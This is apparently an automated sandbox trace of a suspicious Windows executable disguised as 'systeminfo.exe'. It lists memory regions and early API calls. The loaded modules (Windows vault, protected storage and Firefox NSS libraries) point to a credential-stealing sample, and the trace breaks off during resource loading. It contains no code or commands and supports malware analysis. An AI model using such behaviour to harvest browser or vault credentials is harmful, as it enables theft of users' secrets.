0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1834 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1835 start_va = 0x74ec0000 end_va = 0x750bafff entry_point = 0x74ec22d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1836 start_va = 0x750c0000 end_va = 0x750cbfff entry_point = 0x750c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1837 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1838 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1839 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1840 start_va = 0x75350000 end_va = 0x75444fff entry_point = 0x75351865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1841 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1842 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1843 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1844 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1845 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1846 start_va = 0x758d0000 end_va = 0x759ecfff entry_point = 0x758d158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1847 start_va = 0x75bd0000 end_va = 0x75c4afff entry_point = 0x75bd0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1848 start_va = 0x75c50000 end_va = 0x76899fff entry_point = 0x75cd1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1849 start_va = 0x76b60000 end_va = 0x76beefff entry_point = 0x76b63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1850 start_va = 0x76c40000 end_va = 0x76d75fff entry_point = 0x76c41b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1851 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1873 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1874 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1875 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1920 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1921 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1922 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1923 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 1924 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1927 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1928 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1930 start_va = 0x2000000 end_va = 0x22cefff entry_point = 0x2000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1941 start_va = 0x74b70000 end_va = 0x74b85fff entry_point = 0x74b72dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1942 start_va = 0x140000 end_va = 0x17bfff entry_point = 0x14128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1943 start_va = 0x140000 end_va = 0x17bfff entry_point = 0x14128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1944 start_va = 0x140000 end_va = 0x17bfff entry_point = 0x14128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1945 start_va = 0x140000 end_va = 0x17bfff entry_point = 0x14128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1946 start_va = 0x140000 end_va = 0x17bfff entry_point = 0x14128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1947 start_va = 0x74b30000 end_va = 0x74b6afff entry_point = 0x74b3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1948 start_va = 0x9b0000 end_va = 0x9effff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 1949 start_va = 0xa10000 end_va = 0xb0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1950 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1951 start_va = 0x74150000 end_va = 0x7415cfff entry_point = 0x74155b1d region_type = mapped_file name = "pstorec.dll" filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll") Region: id = 1952 start_va = 0x74130000 end_va = 0x74143fff entry_point = 0x74131da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1953 start_va = 0x740e0000 end_va = 0x740ebfff entry_point = 0x740e0000 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 2023 start_va = 0x22d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2024 start_va = 0x22d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2025 start_va = 0x22d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2026 start_va = 0x22d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2027 start_va = 0x22d0000 end_va = 0x2481fff entry_point = 0x22d0000 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 2028 start_va = 0x22d0000 end_va = 0x2481fff entry_point = 0x2432823 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 2029 start_va = 0x73eb0000 end_va = 0x74064fff entry_point = 0x74012823 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 2030 start_va = 0x74860000 end_va = 0x74891fff entry_point = 0x748637f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2031 start_va = 0x73ea0000 end_va = 0x73ea6fff entry_point = 0x73ea0000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 2032 start_va = 0x75890000 end_va = 0x758c4fff entry_point = 0x7589145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2033 start_va = 0x77240000 end_va = 0x77245fff entry_point = 0x77241782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2034 start_va = 0x73de0000 end_va = 0x73e9dfff entry_point = 0x73de0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll") Region: id = 2035 start_va = 0x73db0000 end_va = 0x73dd1fff entry_point = 0x73db0000 region_type = mapped_file name = "mozglue.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll") Region: id = 2036 start_va = 0x73d40000 end_va = 0x73da8fff entry_point = 0x73d40000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll") Region: id = 2037 start_va = 0x22d0000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2038 start_va = 0x2410000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 2039 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2040 start_va = 0x23d0000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2041 start_va = 0x2410000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 2042 start_va = 0x2510000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 2043 start_va = 0x2520000 end_va = 0x271ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 2044 start_va = 0x2600000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 2045 start_va = 0x73d10000 end_va = 0x73d36fff entry_point = 0x73d10000 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 2046 start_va = 0x73cf0000 end_va = 0x73d06fff entry_point = 0x73cf0000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 2047 start_va = 0x140000 end_va = 0x140fff entry_point = 0x140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2048 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 2049 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2050 start_va = 0x2700000 end_va = 0x2af2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002700000" filename = "" Region: id = 2051 start_va = 0x140000 end_va = 0x140fff entry_point = 0x140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2052 start_va = 0x73ca0000 end_va = 0x73ceefff entry_point = 0x73ca0000 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 2053 start_va = 0x73ce0000 end_va = 0x73d06fff entry_point = 0x73cfc589 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 2054 start_va = 0x73d20000 end_va = 0x73d36fff entry_point = 0x73d31aa0 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 2055 start_va = 0x73c90000 end_va = 0x73cdefff entry_point = 0x73cc6402 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 2056 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2057 start_va = 0x170000 end_va = 0x178fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2058 start_va = 0x74eb0000 end_va = 0x74eb4fff entry_point = 0x74eb0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2059 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2060 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2061 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2062 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2063 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2064 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2065 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2066 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2067 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2068 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2069 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2070 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2071 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2072 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2073 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2074 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2075 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2076 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2077 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2078 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2079 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2080 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2081 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2082 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2083 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2084 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2085 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2086 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2087 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2088 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2089 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2090 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2091 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2092 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2093 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2094 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2095 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2096 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2097 start_va = 0x140000 end_va = 0x148fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Thread: id = 74 os_tid = 0x964 [0068.953] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0068.953] __set_app_type (_Type=0x2) [0068.953] __p__fmode () returned 0x753431f4 [0068.953] __p__commode () returned 0x753431fc [0068.953] __wgetmainargs (in: _Argc=0x28fd94, _Argv=0x28fd98, _Env=0x28fd9c, _DoWildCard=0, _StartInfo=0x28fda0 | out: _Argc=0x28fd94, _Argv=0x28fd98, _Env=0x28fd9c) returned 0 [0068.954] _onexit (_Func=0x444109) returned 0x444109 [0068.954] _onexit (_Func=0x44411a) returned 0x44411a [0068.954] _onexit (_Func=0x44412b) returned 0x44412b [0068.954] _onexit (_Func=0x44414a) returned 0x44414a [0068.954] _onexit (_Func=0x44418b) returned 0x44418b [0068.954] _onexit (_Func=0x44419c) returned 0x44419c [0068.954] GetStartupInfoW (in: lpStartupInfo=0x28fd48 | out: lpStartupInfo=0x28fd48*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0068.954] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0068.954] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x742f0000 [0068.954] GetProcAddress (hModule=0x742f0000, lpProcName="InitCommonControlsEx") returned 0x743109ce [0068.954] InitCommonControlsEx (picce=0x28f600) returned 1 [0068.955] FreeLibrary (hLibModule=0x742f0000) returned 1 [0068.955] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0068.955] GetProcAddress (hModule=0x75c50000, lpProcName="SHGetSpecialFolderPathW") returned 0x75c70468 [0068.955] SetErrorMode (uMode=0x8001) returned 0x0 [0068.955] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0068.955] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x413540, lParam=0x0) returned 1 [0068.955] EnumResourceNamesW (hModule=0x400000, lpType=0x1, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.955] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4545f8 [0068.955] SizeofResource (hModule=0x400000, hResInfo=0x4545f8) returned 0x134 [0068.955] LoadResource (hModule=0x400000, hResInfo=0x4545f8) returned 0x454868 [0068.955] LockResource (hResData=0x454868) returned 0x454868 [0068.955] EnumResourceNamesW (hModule=0x400000, lpType=0x2, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.955] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x454608 [0068.955] SizeofResource (hModule=0x400000, hResInfo=0x454608) returned 0x3e8 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454608) returned 0x45499c [0068.956] LockResource (hResData=0x45499c) returned 0x45499c [0068.956] FindResourceW (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x454618 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454618) returned 0xd8 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454618) returned 0x454d84 [0068.956] LockResource (hResData=0x454d84) returned 0x454d84 [0068.956] FindResourceW (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x454628 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454628) returned 0xd8 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454628) returned 0x454e5c [0068.956] LockResource (hResData=0x454e5c) returned 0x454e5c [0068.956] EnumResourceNamesW (hModule=0x400000, lpType=0x3, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.956] FindResourceW (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x454638 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454638) returned 0x10a8 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454638) returned 0x454f34 [0068.956] LockResource (hResData=0x454f34) returned 0x454f34 [0068.956] FindResourceW (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x454648 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454648) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454648) returned 0x455fdc [0068.956] LockResource (hResData=0x455fdc) returned 0x455fdc [0068.956] FindResourceW (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x454658 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454658) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454658) returned 0x456444 [0068.956] LockResource (hResData=0x456444) returned 0x456444 [0068.956] FindResourceW (hModule=0x400000, lpName=0x5, lpType=0x3) returned 0x454668 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454668) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454668) returned 0x4568ac [0068.956] LockResource (hResData=0x4568ac) returned 0x4568ac [0068.956] FindResourceW (hModule=0x400000, lpName=0x6, lpType=0x3) returned 0x454678 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454678) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454678) returned 0x456d14 [0068.956] LockResource (hResData=0x456d14) returned 0x456d14 [0068.956] FindResourceW (hModule=0x400000, lpName=0x7, lpType=0x3) returned 0x454688 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454688) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454688) returned 0x45717c [0068.956] LockResource (hResData=0x45717c) returned 0x45717c [0068.956] FindResourceW (hModule=0x400000, lpName=0x8, lpType=0x3) returned 0x454698 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x454698) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x454698) returned 0x4575e4 [0068.956] LockResource (hResData=0x4575e4) returned 0x4575e4 [0068.956] FindResourceW (hModule=0x400000, lpName=0x9, lpType=0x3) returned 0x4546a8 [0068.956] SizeofResource (hModule=0x400000, hResInfo=0x4546a8) returned 0x468 [0068.956] LoadResource (hModule=0x400000, hResInfo=0x4546a8) returned 0x457a4c [0068.956] LockResource (hResData=0x457a4c) returned 0x457a4c [0068.956] EnumResourceNamesW (hModule=0x400000, lpType=0x4, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.956] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x4546b8 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x4546b8) returned 0x424 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x4546b8) returned 0x457eb4 [0068.957] LockResource (hResData=0x457eb4) returned 0x457eb4 [0068.957] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x4546c8 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x4546c8) returned 0x1f4 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x4546c8) returned 0x4582d8 [0068.957] LockResource (hResData=0x4582d8) returned 0x4582d8 [0068.957] EnumResourceNamesW (hModule=0x400000, lpType=0x5, lpEnumFunc=0x4134ba, lParam=0x0) returned 1 [0068.957] FindResourceW (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x4546d8 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x4546d8) returned 0xa2 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x4546d8) returned 0x4584cc [0068.957] LockResource (hResData=0x4584cc) returned 0x4584cc [0068.957] FindResourceW (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x4546e8 [0068.957] SizeofResource (hModule=0x400000, hResInfo=0x4546e8) returned 0x296 [0068.957] LoadResource (hModule=0x400000, hResInfo=0x4546e8) returned 0x458570 [0068.957] 